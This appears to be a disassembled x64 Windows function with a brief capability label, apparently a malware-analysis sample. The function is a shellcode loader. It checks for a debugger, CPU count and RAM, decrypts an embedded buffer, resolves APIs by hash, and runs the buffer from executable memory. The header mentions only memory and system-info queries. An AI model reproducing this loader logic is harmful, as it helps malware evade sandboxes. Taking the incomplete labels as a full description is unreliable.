Function at 0x140001980
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rsi, rdx
lea rax, [rsp + 0x40]
lea rcx, [0x1400055c0]
mov r14d, 4
mov edx, r14d
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400019d0
mov dword [rsp + 0x20], 0x3020100
mov dword [rsp + 0x24], 0x7060504
mov dword [rsp + 0x28], 0xb0a0908
mov dword [rsp + 0x2c], 0xf0e0d0c
mov dword [rbp + 0x140], r14d
mov r13d, 0xa
mov dword [rbp + 0x144], r13d
lea rbx, [rsp + 0x40]
mov edi, 0x200
movzx edx, byte [rbx]
lea rcx, str._02x
call fcn.140001010
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140001a60
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], r14
mov ebx, 0xf
mov qword [rbp + 0x160], rbx
mov eax, dword [str.word]
mov dword [rbp + 0x148], eax
mov byte [rbp + 0x14c], dil
mov rdx, qword [rsi]
lea rcx, [rbp + 0x168]
call fcn.140001e30
nop
lea rdi, [rbp + 0x148]
lea rcx, [rbp + 0x168]
mov rsi, qword [rbp + 0x168]
cmp qword [rbp + 0x180], rbx
cmova rcx, rsi
mov qword [rsp + 0x30], rcx
mov rdx, qword [rbp + 0x178]
cmp r14, rdx
ja 0x140001b4f
mov rax, rcx
sub rax, r14
lea r14, [rax + rdx]
movsx r15d, byte [rdi]
lea r8, [r14 + 1]
sub r8, rcx
mov edx, r15d
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140001b4f
nop
mov r8d, 4
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001b44
inc rbx
lea r8, [r14 + 1]
sub r8, rbx
mov edx, r15d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140001b10
jmp 0x140001b4f
sub rbx, qword [rsp + 0x30]
cmp rbx, 0xffffffffffffffff
jne 0x140001b63
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001fc0
mov rcx, rax
call fcn.140002180
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001daf
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x1f0], 2
jb 0x140001daf
mov dword [rbp + 0x190], 0x40
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x198]
shr rax, 0x1e
cmp eax, 2
jb 0x140001daf
mov ecx, 0x5f5e100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001d69
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x200
call fcn.1400023c4
mov rbx, rax
mov ecx, 0xb0
call fcn.1400023c4
mov r14, rax
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x140]
call fcn.140001640
lea rdi, [rsp + 0x40]
lea rax, [rsp + 0x40]
mov r15, rbx
sub r15, rax
mov esi, 0x20
nop dword [rax]
lea r8, [r15 + rdi]
mov r9, r14
mov rdx, rdi
lea rcx, [rbp + 0x140]
call fcn.140001230
add rdi, 0x10
sub rsi, 1
jne 0x140001c30
mov rcx, r14
call fcn.140002380
mov r12d, 0x200
nop
call fcn.140001950
mov rcx, r12
call fcn.1400023c4
mov r15, rax
mov ecx, dword [rbp + 0x144]
inc ecx
shl ecx, 4
call fcn.1400023c4
mov rsi, rax
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x140]
call fcn.140001640
mov r14, r15
sub r14, rbx
mov edi, 0x20
lea r8, [r14 + rbx]
mov r9, rsi
mov rdx, rbx
lea rcx, [rbp + 0x140]
call fcn.140001230
add rbx, 0x10
sub rdi, 1
jne 0x140001ca2
mov rcx, rsi
call fcn.140002380
mov rbx, r15
sub r13, 1
jne 0x140001c60
lea rcx, str.C:WindowsSystem32kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x653266b
mov rcx, rax
call fcn.140001870
movzx ecx, byte [r15 + 0x1ff]
mov rsi, r12
sub rsi, rcx
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call rax
mov rdi, rax
test rax, rax
jne 0x140001d20
mov ebx, 0xffffffff
jmp 0x140001db4
lea rcx, str.C:WindowsSystem32Ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x12e5b05b
mov rcx, rax
call fcn.140001870
mov rbx, rax
mov rdx, rax
lea rcx, str.0x_p_n
call fcn.140001010
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call rbx
call rdi
lea rcx, str.___finished__n
call fcn.140001010
xor ebx, ebx
jmp 0x140001db4
mov rax, qword [rbp + 0x180]
cmp rax, 0xf
jbe 0x140001dab
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001da2
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001da2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140002380
nop
xor eax, eax
jmp 0x140001dfc
mov ebx, 0xfffffffe
mov rax, qword [rbp + 0x180]
cmp rax, 0xf
jbe 0x140001dfa
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001df4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001df4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002380
nop
mov eax, ebx
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002360
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret